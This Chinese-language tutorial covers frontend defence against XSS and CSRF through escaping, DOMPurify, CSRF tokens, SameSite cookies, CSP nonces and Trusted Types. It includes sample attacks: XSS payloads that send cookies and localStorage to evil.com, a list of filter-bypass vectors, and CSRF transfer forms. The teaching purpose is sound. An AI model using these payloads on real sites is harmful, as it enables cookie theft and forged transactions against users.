前端安全深入：XSS、CSRF 与 CSP 的攻防实战

前言#

前端安全不是可选项，而是必修课。每年 OWASP Top 10 中，注入攻击（包括 XSS）和跨站请求伪造（CSRF）始终占据前列。然而很多前端开发者对安全的理解仅停留在「用 textContent 替代 innerHTML」的层面，缺乏系统性的认知。

本文将从攻击原理出发，深入到防御方案的实现细节，涵盖 XSS 的各种变种、CSRF 的攻防博弈、Content-Security-Policy 的精细配置、Trusted Types API 以及 SameSite Cookie 策略，帮助你构建真正安全的前端应用。

一、XSS（跨站脚本攻击）#

1.1 XSS 的三种类型#

反射型 XSS（Reflected XSS）

攻击载荷通过 URL 参数传入，服务端未经处理直接返回到页面中：

1
攻击 URL:
2
https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
3

4
服务端代码（存在漏洞）:
5
app.get('/search', (req, res) => {
6
  // ❌ 直接将用户输入插入 HTML
7
  res.send(`<h1>搜索结果: ${req.query.q}</h1>`);
8
});

存储型 XSS（Stored XSS）

攻击载荷被存储在数据库中，每次其他用户访问时都会执行：

1
// 攻击者在评论中提交：
2
const maliciousComment = `
3
  Great article!
4
  <img src="x" onerror="
5
    fetch('https://evil.com/collect', {
6
      method: 'POST',
7
      body: JSON.stringify({
8
        cookies: document.cookie,
9
        localStorage: JSON.stringify(localStorage),
10
        url: location.href
11
      })
12
    })
13
  ">
14
`;
15

16
// 如果服务端和前端都未做过滤，这段代码会在所有查看评论的用户浏览器中执行

DOM 型 XSS（DOM-based XSS）

攻击完全发生在前端，服务端无感知：

1
// 存在漏洞的代码
2
const params = new URLSearchParams(location.search);
3
const name = params.get('name');
4

5
// ❌ 危险：直接将 URL 参数插入 DOM
6
document.getElementById('greeting').innerHTML = `Hello, ${name}!`;
7

8
// 攻击 URL:
9
// https://example.com/?name=<img src=x onerror=alert(document.cookie)>

1.2 高级 XSS 攻击手法#

绕过简单过滤的技巧：

1
<!-- 大小写绕过 -->
2
<ScRiPt>alert(1)</ScRiPt>
3

4
<!-- 事件处理器 -->
5
<img src=x onerror=alert(1)>
6
<svg onload=alert(1)>
7
<body onpageshow=alert(1)>
8
<input onfocus=alert(1) autofocus>
9
<marquee onstart=alert(1)>
10

11
<!-- 编码绕过 -->
12
<a href="javascript&#58;alert(1)">click</a>
13
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(1)">click</a>
14

15
<!-- CSS 注入（较老的浏览器） -->
16
<div style="background:url('javascript:alert(1)')">
17

18
<!-- SVG 注入 -->
19
<svg><script>alert&#40;1&#41;</script></svg>
20

21
<!-- 模板字面量注入（如果用了模板引擎） -->
22
{{constructor.constructor('alert(1)')()}}

利用 DOM Clobbering 的攻击：

1
<!-- 攻击者注入的 HTML（假设允许部分 HTML 标签） -->
2
<form id="document"><input name="cookie" value="fake"></form>
3

4
<!-- 此时 document.cookie 会返回 DOM 元素而不是真正的 cookie -->
5
<!-- 如果代码中有基于 document.cookie 的逻辑判断，就可能被绕过 -->

1.3 XSS 防御方案#

输出编码（最基础也最重要）：

1
// utils/xss.ts - 针对不同上下文的编码函数
2

3
// HTML 上下文编码
4
export function escapeHTML(str: string): string {
5
  const map: Record<string, string> = {
6
    '&': '&amp;',
7
    '<': '&lt;',
8
    '>': '&gt;',
9
    '"': '&quot;',
10
    "'": '&#x27;',
11
    '/': '&#x2F;',
12
  };
13
  return str.replace(/[&<>"'/]/g, (char) => map[char]);
14
}
15

16
// HTML 属性上下文编码
17
export function escapeAttribute(str: string): string {
18
  return str.replace(/[^a-zA-Z0-9,.\-_]/g, (char) => {
19
    const hex = char.charCodeAt(0).toString(16);
20
    return `&#x${hex.padStart(2, '0')};`;
21
  });
22
}
23

24
// JavaScript 字符串上下文编码
25
export function escapeJS(str: string): string {
26
  return str.replace(/[^a-zA-Z0-9,._]/g, (char) => {
27
    const hex = char.charCodeAt(0).toString(16);
28
    return `\\u${hex.padStart(4, '0')}`;
29
  });
30
}
31

32
// URL 参数编码
33
export function escapeURL(str: string): string {
34
  return encodeURIComponent(str);
35
}

1
// 使用示例
2

3
// ❌ 危险
4
element.innerHTML = `<a href="${userUrl}">${userName}</a>`;
5

6
// ✅ 安全
7
element.innerHTML = `<a href="${escapeAttribute(userUrl)}">${escapeHTML(userName)}</a>`;
8

9
// ✅ 更安全：使用 DOM API 而不是 innerHTML
10
const link = document.createElement('a');
11
link.href = userUrl; // 浏览器会自动处理 URL
12
link.textContent = userName; // textContent 不解析 HTML
13
element.appendChild(link);

DOMPurify - 富文本内容消毒：

1
import DOMPurify from 'dompurify';
2

3
// 基础使用
4
const cleanHTML = DOMPurify.sanitize(dirtyHTML);
5

6
// 自定义配置
7
const cleanHTML = DOMPurify.sanitize(dirtyHTML, {
8
  // 允许的标签
9
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li', 'code', 'pre'],
10
  // 允许的属性
11
  ALLOWED_ATTR: ['href', 'class', 'target'],
12
  // 禁止 javascript: 协议
13
  ALLOW_UNKNOWN_PROTOCOLS: false,
14
  // 允许的 URI 协议
15
  ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i,
16
});
17

18
// 添加钩子进行额外处理
19
DOMPurify.addHook('afterSanitizeAttributes', (node) => {
20
  // 所有链接在新窗口打开并添加 noopener
21
  if (node.tagName === 'A') {
22
    node.setAttribute('target', '_blank');
23
    node.setAttribute('rel', 'noopener noreferrer');
24
  }
25
});
26

27
// Vue 中使用
28
// ❌ 危险
29
// <div v-html="userContent"></div>
30

31
// ✅ 安全
32
// <div v-html="sanitize(userContent)"></div>

1
import DOMPurify from 'dompurify';
2

3
export function useSanitize() {
4
  const sanitize = (dirty: string, options?: DOMPurify.Config): string => {
5
    return DOMPurify.sanitize(dirty, {
6
      ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li', 'code', 'pre', 'blockquote'],
7
      ALLOWED_ATTR: ['href', 'class'],
8
      ...options,
9
    });
10
  };
11

12
  return { sanitize };
13
}

二、CSRF（跨站请求伪造）#

2.1 攻击原理#

CSRF 利用的是浏览器自动携带 Cookie 的特性。当用户已登录 A 站时，访问恶意的 B 站，B 站可以伪造向 A 站的请求：

1
<!-- 恶意页面 evil.com/attack.html -->
2

3
<!-- 方法 1: 图片标签（GET 请求） -->
4
<img src="https://bank.com/transfer?to=attacker&amount=10000" />
5

6
<!-- 方法 2: 自动提交的表单（POST 请求） -->
7
<form id="csrf-form" action="https://bank.com/transfer" method="POST" style="display:none">
8
  <input name="to" value="attacker" />
9
  <input name="amount" value="10000" />
10
</form>
11
<script>document.getElementById('csrf-form').submit();</script>
12

13
<!-- 方法 3: fetch 请求（需要满足 CORS 条件） -->
14
<script>
15
fetch('https://bank.com/api/transfer', {
16
  method: 'POST',
17
  credentials: 'include', // 携带 cookie
18
  headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
19
  body: 'to=attacker&amount=10000'
20
});
21
</script>

1
攻击流程:
2
1. 用户登录 bank.com，浏览器存储了 session cookie
3
2. 用户访问 evil.com（被诱导点击链接）
4
3. evil.com 的页面自动向 bank.com 发起请求
5
4. 浏览器自动携带 bank.com 的 cookie
6
5. bank.com 服务器认为是合法用户操作，执行转账

2.2 CSRF 防御方案#

方案一：CSRF Token

1
// 服务端 - Express 中间件
2
import crypto from 'crypto';
3

4
// 生成 CSRF Token
5
function generateCSRFToken(): string {
6
  return crypto.randomBytes(32).toString('hex');
7
}
8

9
// 中间件：为每个会话生成 token
10
app.use((req, res, next) => {
11
  if (!req.session.csrfToken) {
12
    req.session.csrfToken = generateCSRFToken();
13
  }
14
  // 通过 cookie 传递 token（httpOnly: false，前端需要读取）
15
  res.cookie('XSRF-TOKEN', req.session.csrfToken, {
16
    httpOnly: false,  // 允许 JavaScript 读取
17
    secure: true,
18
    sameSite: 'strict',
19
  });
20
  next();
21
});
22

23
// 验证中间件
24
function verifyCSRF(req, res, next) {
25
  const token = req.headers['x-xsrf-token'] || req.body._csrf;
26
  if (!token || token !== req.session.csrfToken) {
27
    return res.status(403).json({ error: 'Invalid CSRF token' });
28
  }
29
  next();
30
}
31

32
// 应用到需要保护的路由
33
app.post('/api/transfer', verifyCSRF, (req, res) => {
34
  // 处理转账逻辑
35
});

1
// 前端 - Axios 拦截器自动携带 CSRF Token
2
import axios from 'axios';
3

4
const api = axios.create({
5
  baseURL: '/api',
6
  withCredentials: true,
7
});
8

9
// 从 cookie 中读取 CSRF token 并添加到请求头
10
api.interceptors.request.use((config) => {
11
  const token = document.cookie
12
    .split('; ')
13
    .find(row => row.startsWith('XSRF-TOKEN='))
14
    ?.split('=')[1];
15

16
  if (token) {
17
    config.headers['X-XSRF-TOKEN'] = decodeURIComponent(token);
18
  }
19
  return config;
20
});
21

22
// 使用
23
await api.post('/transfer', { to: 'friend', amount: 100 });

方案二：SameSite Cookie（现代浏览器首选）

1
// 服务端设置 Cookie
2
app.use(session({
3
  cookie: {
4
    httpOnly: true,      // 禁止 JS 访问
5
    secure: true,        // 仅 HTTPS
6
    sameSite: 'lax',     // 关键！
7
    maxAge: 24 * 60 * 60 * 1000,
8
    domain: '.example.com',
9
  },
10
}));

SameSite 的三个值：

1
Strict: 完全禁止第三方携带 Cookie
2
  ✅ 安全性最高
3
  ❌ 从外部链接点进来也不带 Cookie（用户体验差）
4

5
Lax: 导航到目标网站的 GET 请求携带，其他不携带
6
  ✅ 平衡安全性和用户体验
7
  ✅ 大部分 CSRF 攻击被阻止（POST 不携带 Cookie）
8
  ❌ GET 请求如果有副作用仍然有风险
9

10
None: 不限制（必须配合 Secure）
11
  ❌ 等于没有保护
12
  只在确实需要跨站发送 Cookie 时使用

1
// 最佳实践：组合使用
2

3
// 会话 Cookie: SameSite=Lax（兼顾安全和体验）
4
res.cookie('session', sessionId, {
5
  httpOnly: true,
6
  secure: true,
7
  sameSite: 'lax',
8
});
9

10
// 敏感操作 Cookie: SameSite=Strict
11
res.cookie('csrf_token', token, {
12
  httpOnly: false,
13
  secure: true,
14
  sameSite: 'strict',
15
});

方案三：Double Submit Cookie

1
// 服务端
2
app.use((req, res, next) => {
3
  if (!req.cookies['csrf-double']) {
4
    const token = crypto.randomBytes(32).toString('hex');
5
    res.cookie('csrf-double', token, {
6
      httpOnly: false,
7
      secure: true,
8
      sameSite: 'lax',
9
    });
10
  }
11
  next();
12
});
13

14
// 验证：cookie 中的值必须与请求头中的值匹配
15
function verifyDoubleSubmit(req, res, next) {
16
  const cookieToken = req.cookies['csrf-double'];
17
  const headerToken = req.headers['x-csrf-token'];
18

19
  if (!cookieToken || !headerToken || cookieToken !== headerToken) {
20
    return res.status(403).json({ error: 'CSRF validation failed' });
21
  }
22
  next();
23
}

原理：攻击者可以让浏览器发送 Cookie，但无法读取另一个域的 Cookie 值。所以攻击者无法在请求头中放入正确的 token。

2.3 前端请求封装#

1
// lib/http.ts - 安全的 HTTP 客户端
2
class SecureHTTPClient {
3
  private baseURL: string;
4

5
  constructor(baseURL: string) {
6
    this.baseURL = baseURL;
7
  }
8

9
  private getCSRFToken(): string | null {
10
    // 从 meta 标签获取（SSR 渲染时注入）
11
    const meta = document.querySelector('meta[name="csrf-token"]');
12
    if (meta) return meta.getAttribute('content');
13

14
    // 从 cookie 获取
15
    const match = document.cookie.match(/XSRF-TOKEN=([^;]+)/);
16
    return match ? decodeURIComponent(match[1]) : null;
17
  }
18

19
  private async request<T>(
20
    method: string,
21
    path: string,
22
    data?: unknown,
23
    options: RequestInit = {}
24
  ): Promise<T> {
25
    const url = `${this.baseURL}${path}`;
26
    const headers: Record<string, string> = {
27
      'Content-Type': 'application/json',
28
    };
29

30
    // 非 GET 请求添加 CSRF token
31
    if (method !== 'GET') {
32
      const csrfToken = this.getCSRFToken();
33
      if (csrfToken) {
34
        headers['X-XSRF-TOKEN'] = csrfToken;
35
      }
36
    }
37

38
    const response = await fetch(url, {
39
      method,
40
      headers: { ...headers, ...options.headers as Record<string, string> },
41
      body: data ? JSON.stringify(data) : undefined,
42
      credentials: 'same-origin', // 同源才带 cookie
43
      ...options,
44
    });
45

46
    if (response.status === 403) {
47
      // CSRF token 可能过期，尝试刷新
48
      await this.refreshCSRFToken();
49
      // 重试一次
50
      return this.request(method, path, data, options);
51
    }
52

53
    if (!response.ok) {
54
      throw new Error(`HTTP ${response.status}: ${response.statusText}`);
55
    }
56

57
    return response.json();
58
  }
59

60
  private async refreshCSRFToken(): Promise<void> {
61
    await fetch(`${this.baseURL}/api/csrf-token`, {
62
      credentials: 'same-origin',
63
    });
64
  }
65

66
  get<T>(path: string) { return this.request<T>('GET', path); }
67
  post<T>(path: string, data: unknown) { return this.request<T>('POST', path, data); }
68
  put<T>(path: string, data: unknown) { return this.request<T>('PUT', path, data); }
69
  delete<T>(path: string) { return this.request<T>('DELETE', path); }
70
}
71

72
export const http = new SecureHTTPClient('');

三、Content-Security-Policy（CSP）#

3.1 CSP 是什么#

CSP 是一个 HTTP 响应头，告诉浏览器只允许加载和执行来自指定来源的资源。它是防御 XSS 的最强后盾——即使攻击者成功注入了恶意脚本，CSP 也能阻止其执行。

3.2 CSP 指令详解#

1
Content-Security-Policy:
2
  default-src 'self';                          # 默认只允许同源
3
  script-src 'self' 'nonce-abc123' https://cdn.example.com;  # JS 来源
4
  style-src 'self' 'unsafe-inline';            # CSS 来源（允许内联样式）
5
  img-src 'self' data: https:;                 # 图片来源
6
  font-src 'self' https://fonts.googleapis.com; # 字体来源
7
  connect-src 'self' https://api.example.com;  # XHR/fetch 目标
8
  frame-src 'none';                            # 禁止 iframe
9
  object-src 'none';                           # 禁止 Flash 等插件
10
  base-uri 'self';                             # 限制 <base> 标签
11
  form-action 'self';                          # 表单提交目标
12
  frame-ancestors 'none';                      # 禁止被嵌入 iframe
13
  upgrade-insecure-requests;                   # 自动升级 HTTP → HTTPS
14
  report-uri /api/csp-report;                  # 违规上报地址

3.3 Nonce 模式（推荐）#

Nonce 是每次请求生成的随机字符串，只有携带正确 nonce 的脚本才能执行：

1
// 服务端中间件
2
import crypto from 'crypto';
3

4
app.use((req, res, next) => {
5
  // 每次请求生成新的 nonce
6
  const nonce = crypto.randomBytes(16).toString('base64');
7
  res.locals.nonce = nonce;
8

9
  // 设置 CSP 头
10
  res.setHeader('Content-Security-Policy', [
11
    `default-src 'self'`,
12
    `script-src 'self' 'nonce-${nonce}'`,
13
    `style-src 'self' 'nonce-${nonce}'`,
14
    `img-src 'self' data: https:`,
15
    `connect-src 'self' https://api.example.com`,
16
    `font-src 'self'`,
17
    `object-src 'none'`,
18
    `base-uri 'self'`,
19
    `form-action 'self'`,
20
    `frame-ancestors 'none'`,
21
  ].join('; '));
22

23
  next();
24
});

1
<!-- HTML 模板中使用 nonce -->
2
<!DOCTYPE html>
3
<html>
4
<head>
5
  <!-- ✅ 有 nonce，允许执行 -->
6
  <script nonce="<%= nonce %>" src="/js/app.js"></script>
7
  <link nonce="<%= nonce %>" rel="stylesheet" href="/css/app.css">
8

9
  <!-- ✅ 内联脚本也需要 nonce -->
10
  <script nonce="<%= nonce %>">
11
    window.__CONFIG__ = { apiUrl: 'https://api.example.com' };
12
  </script>
13
</head>
14
<body>
15
  <!-- ❌ 没有 nonce 的脚本会被阻止 -->
16
  <!-- <script>alert('blocked!')</script> -->
17

18
  <!-- ❌ 事件处理器中的内联脚本也会被阻止 -->
19
  <!-- <button onclick="doSomething()">Click</button> -->
20
</body>
21
</html>

3.4 Strict CSP 配置模板#

1
// 针对现代 SPA 的严格 CSP 配置
2
function getStrictCSP(nonce: string): string {
3
  return [
4
    // 基础限制
5
    "default-src 'self'",
6

7
    // 脚本：只允许 nonce 匹配的 + strict-dynamic（允许被信任的脚本加载其他脚本）
8
    `script-src 'nonce-${nonce}' 'strict-dynamic'`,
9

10
    // 样式：nonce 或 同源
11
    `style-src 'self' 'nonce-${nonce}'`,
12

13
    // 图片：同源 + data URI + HTTPS
14
    "img-src 'self' data: https:",
15

16
    // API 请求
17
    "connect-src 'self' https://api.example.com wss://ws.example.com",
18

19
    // 字体
20
    "font-src 'self'",
21

22
    // 禁止插件
23
    "object-src 'none'",
24

25
    // 限制 base 标签（防止 base URI 劫持）
26
    "base-uri 'self'",
27

28
    // 表单只能提交到同源
29
    "form-action 'self'",
30

31
    // 禁止被其他页面嵌入
32
    "frame-ancestors 'none'",
33

34
    // 自动升级 HTTP 请求
35
    "upgrade-insecure-requests",
36
  ].join('; ');
37
}

3.5 CSP 违规上报#

1
// 服务端：接收 CSP 违规报告
2
app.post('/api/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
3
  const report = req.body['csp-report'];
4

5
  console.warn('CSP Violation:', {
6
    blockedUri: report['blocked-uri'],
7
    violatedDirective: report['violated-directive'],
8
    originalPolicy: report['original-policy'],
9
    documentUri: report['document-uri'],
10
    sourceFile: report['source-file'],
11
    lineNumber: report['line-number'],
12
  });
13

14
  // 存储到日志系统
15
  // logger.warn('csp-violation', report);
16

17
  res.status(204).end();
18
});

1
// 使用 Report-Only 模式先观察再强制执行
2
// 这个头不会阻止任何东西，只会上报违规
3
app.use((req, res, next) => {
4
  const nonce = crypto.randomBytes(16).toString('base64');
5
  res.locals.nonce = nonce;
6

7
  // 先用 Report-Only 观察
8
  res.setHeader('Content-Security-Policy-Report-Only', [
9
    `default-src 'self'`,
10
    `script-src 'nonce-${nonce}' 'strict-dynamic'`,
11
    `report-uri /api/csp-report`,
12
  ].join('; '));
13

14
  next();
15
});
16

17
// 观察一段时间，确认没有误报后，切换为强制模式：
18
// Content-Security-Policy-Report-Only → Content-Security-Policy

四、Trusted Types#

4.1 什么是 Trusted Types#

Trusted Types 是一个浏览器 API，它从根本上防止 DOM XSS——禁止将原始字符串传入危险的 DOM API（如 innerHTML、document.write），只允许经过「信任策略」处理后的对象。

4.2 配置和使用#

1
// 通过 CSP 头启用 Trusted Types
2
// Content-Security-Policy: require-trusted-types-for 'script'; trusted-types myPolicy default
3

4
// 创建信任策略
5
if (window.trustedTypes) {
6
  const sanitizePolicy = trustedTypes.createPolicy('myPolicy', {
7
    // 处理 HTML
8
    createHTML(input: string): string {
9
      // 使用 DOMPurify 消毒
10
      return DOMPurify.sanitize(input, {
11
        ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
12
        ALLOWED_ATTR: ['href', 'class'],
13
      });
14
    },
15

16
    // 处理脚本 URL
17
    createScriptURL(input: string): string {
18
      const url = new URL(input, location.origin);
19
      // 只允许同源和 CDN 的脚本
20
      const allowedHosts = [location.hostname, 'cdn.example.com'];
21
      if (!allowedHosts.includes(url.hostname)) {
22
        throw new TypeError(`Untrusted script URL: ${input}`);
23
      }
24
      return input;
25
    },
26

27
    // 处理脚本内容
28
    createScript(input: string): string {
29
      // 通常不允许动态创建脚本
30
      throw new TypeError('Dynamic script creation is not allowed');
31
    },
32
  });
33

34
  // 使用
35
  const userContent = '<p>Hello</p><script>alert(1)</script>';
36

37
  // ❌ 没有 Trusted Types 策略会抛出错误
38
  // element.innerHTML = userContent;
39

40
  // ✅ 通过策略处理
41
  element.innerHTML = sanitizePolicy.createHTML(userContent);
42
  // 结果: <p>Hello</p>（script 标签被移除）
43
}

4.3 Default Policy（兜底策略）#

1
// 创建 default 策略作为兜底
2
// 当代码试图使用原始字符串时，会自动通过 default 策略处理
3
if (window.trustedTypes) {
4
  trustedTypes.createPolicy('default', {
5
    createHTML(input: string): string {
6
      console.warn('Untrusted HTML assignment detected:', input.substring(0, 100));
7
      // 在开发环境中可以允许（方便调试）
8
      if (import.meta.env.DEV) {
9
        return DOMPurify.sanitize(input);
10
      }
11
      // 生产环境中严格处理
12
      return DOMPurify.sanitize(input, {
13
        ALLOWED_TAGS: [],  // 去除所有标签
14
      });
15
    },
16
    createScriptURL(input: string): string {
17
      console.warn('Untrusted script URL detected:', input);
18
      throw new TypeError(`Blocked untrusted script URL: ${input}`);
19
    },
20
    createScript(input: string): string {
21
      console.warn('Untrusted script creation detected');
22
      throw new TypeError('Blocked untrusted script creation');
23
    },
24
  });
25
}

4.4 与框架集成#

1
// Vue 3 中使用 Trusted Types
2
// vue.config 或 vite.config
3
export default defineConfig({
4
  plugins: [
5
    vue({
6
      template: {
7
        compilerOptions: {
8
          // Vue 的 v-html 指令会触发 innerHTML 赋值
9
          // 需要在 Trusted Types 策略中处理
10
        },
11
      },
12
    }),
13
  ],
14
});
15

16
// 自定义 v-safe-html 指令
17
const trustedPolicy = window.trustedTypes?.createPolicy('vue-safe-html', {
18
  createHTML: (input: string) => DOMPurify.sanitize(input),
19
});
20

21
const vSafeHtml = {
22
  mounted(el: HTMLElement, binding: { value: string }) {
23
    if (trustedPolicy) {
24
      el.innerHTML = trustedPolicy.createHTML(binding.value) as unknown as string;
25
    } else {
26
      el.innerHTML = DOMPurify.sanitize(binding.value);
27
    }
28
  },
29
  updated(el: HTMLElement, binding: { value: string }) {
30
    if (trustedPolicy) {
31
      el.innerHTML = trustedPolicy.createHTML(binding.value) as unknown as string;
32
    } else {
33
      el.innerHTML = DOMPurify.sanitize(binding.value);
34
    }
35
  },
36
};
37

38
// 注册指令
39
app.directive('safe-html', vSafeHtml);
40

41
// 使用
42
// <div v-safe-html="userContent"></div>

五、综合安全方案#

5.1 安全 HTTP 头配置#

1
export function securityHeaders(nonce: string) {
2
  return {
3
    // CSP
4
    'Content-Security-Policy': getStrictCSP(nonce),
5

6
    // 防止 MIME 类型嗅探
7
    'X-Content-Type-Options': 'nosniff',
8

9
    // 防止点击劫持
10
    'X-Frame-Options': 'DENY',
11

12
    // 控制 Referrer 信息泄露
13
    'Referrer-Policy': 'strict-origin-when-cross-origin',
14

15
    // 启用浏览器安全特性
16
    'Permissions-Policy': [
17
      'camera=()',          // 禁止访问摄像头
18
      'microphone=()',      // 禁止访问麦克风
19
      'geolocation=(self)', // 只允许同源获取地理位置
20
      'payment=(self)',     // 只允许同源支付
21
    ].join(', '),
22

23
    // HSTS - 强制 HTTPS
24
    'Strict-Transport-Security': 'max-age=63072000; includeSubDomains; preload',
25

26
    // 跨域隔离（需要时启用）
27
    // 'Cross-Origin-Opener-Policy': 'same-origin',
28
    // 'Cross-Origin-Embedder-Policy': 'require-corp',
29
  };
30
}

1
// Nginx 配置
2
// nginx.conf
3
/*
4
server {
5
    # 安全头
6
    add_header X-Content-Type-Options "nosniff" always;
7
    add_header X-Frame-Options "DENY" always;
8
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
9
    add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
10
    add_header Permissions-Policy "camera=(), microphone=(), geolocation=(self)" always;
11

12
    # CSP 需要在应用层设置（因为 nonce 每次不同）
13
}
14
*/

5.2 前端安全检查清单#

1
// 在 CI 中运行的安全检查脚本
2

3
interface SecurityCheck {
4
  name: string;
5
  check: () => boolean | Promise<boolean>;
6
  severity: 'critical' | 'high' | 'medium' | 'low';
7
}
8

9
const checks: SecurityCheck[] = [
10
  {
11
    name: 'No innerHTML usage without sanitization',
12
    severity: 'critical',
13
    check: async () => {
14
      const { execSync } = await import('child_process');
15
      // 搜索直接使用 innerHTML 的代码（排除测试文件和 node_modules）
16
      try {
17
        const result = execSync(
18
          `grep -rn "\\.innerHTML\\s*=" src/ --include="*.ts" --include="*.vue" | grep -v "test\\." | grep -v "spec\\." | grep -v "DOMPurify\\|sanitize\\|trustedTypes"`,
19
          { encoding: 'utf-8' }
20
        );
21
        if (result.trim()) {
22
          console.error('Found unsafe innerHTML usage:\n', result);
23
          return false;
24
        }
25
      } catch {
26
        // grep 没找到匹配项时返回非零退出码
27
      }
28
      return true;
29
    },
30
  },
31
  {
32
    name: 'No eval() usage',
33
    severity: 'critical',
34
    check: async () => {
35
      const { execSync } = await import('child_process');
36
      try {
37
        const result = execSync(
38
          `grep -rn "\\beval\\s*(" src/ --include="*.ts" --include="*.js" | grep -v "test\\." | grep -v "spec\\."`,
39
          { encoding: 'utf-8' }
40
        );
41
        if (result.trim()) {
42
          console.error('Found eval() usage:\n', result);
43
          return false;
44
        }
45
      } catch {
46
        // 没有找到
47
      }
48
      return true;
49
    },
50
  },
51
  {
52
    name: 'No document.write usage',
53
    severity: 'high',
54
    check: async () => {
55
      const { execSync } = await import('child_process');
56
      try {
57
        const result = execSync(
58
          `grep -rn "document\\.write" src/ --include="*.ts" --include="*.js"`,
59
          { encoding: 'utf-8' }
60
        );
61
        if (result.trim()) {
62
          console.error('Found document.write usage:\n', result);
63
          return false;
64
        }
65
      } catch {
66
        // 没有找到
67
      }
68
      return true;
69
    },
70
  },
71
  {
72
    name: 'All cookies have Secure and SameSite attributes',
73
    severity: 'high',
74
    check: async () => {
75
      const { execSync } = await import('child_process');
76
      try {
77
        const result = execSync(
78
          `grep -rn "res\\.cookie\\|setCookie" src/ server/ --include="*.ts" --include="*.js"`,
79
          { encoding: 'utf-8' }
80
        );
81
        const lines = result.trim().split('\n');
82
        for (const line of lines) {
83
          if (!line.includes('secure') || !line.includes('sameSite')) {
84
            console.error('Cookie without secure/sameSite:', line);
85
            return false;
86
          }
87
        }
88
      } catch {
89
        // 没有找到
90
      }
91
      return true;
92
    },
93
  },
94
];
95

96
async function runSecurityAudit() {
97
  console.log('🔒 Running security audit...\n');
98
  let passed = 0;
99
  let failed = 0;
100

101
  for (const check of checks) {
102
    const result = await check.check();
103
    if (result) {
104
      console.log(`  ✅ [${check.severity}] ${check.name}`);
105
      passed++;
106
    } else {
107
      console.log(`  ❌ [${check.severity}] ${check.name}`);
108
      failed++;
109
    }
110
  }
111

112
  console.log(`\n📊 Results: ${passed} passed, ${failed} failed`);
113

114
  if (failed > 0) {
115
    process.exit(1);
116
  }
117
}
118

119
runSecurityAudit();

总结#

前端安全是一个纵深防御的体系，单一手段不足以抵御所有攻击。以下是关键防线的总结：

防御层	技术手段	防御目标
输入处理	编码/转义/消毒	XSS
Cookie 策略	SameSite/HttpOnly/Secure	CSRF + Cookie 窃取
CSP	script-src + nonce	XSS（即使注入也无法执行）
Trusted Types	信任策略	DOM XSS
HTTP 头	X-Frame-Options 等	点击劫持/MIME 嗅探
CSRF Token	Double Submit / Sync Token	CSRF
代码审计	自动化检查 + Code Review	所有类型

安全不是一次性工作，而是持续的过程。 定期审计、保持依赖更新、关注安全公告，才能在攻防博弈中保持主动。

音乐

音乐

前言#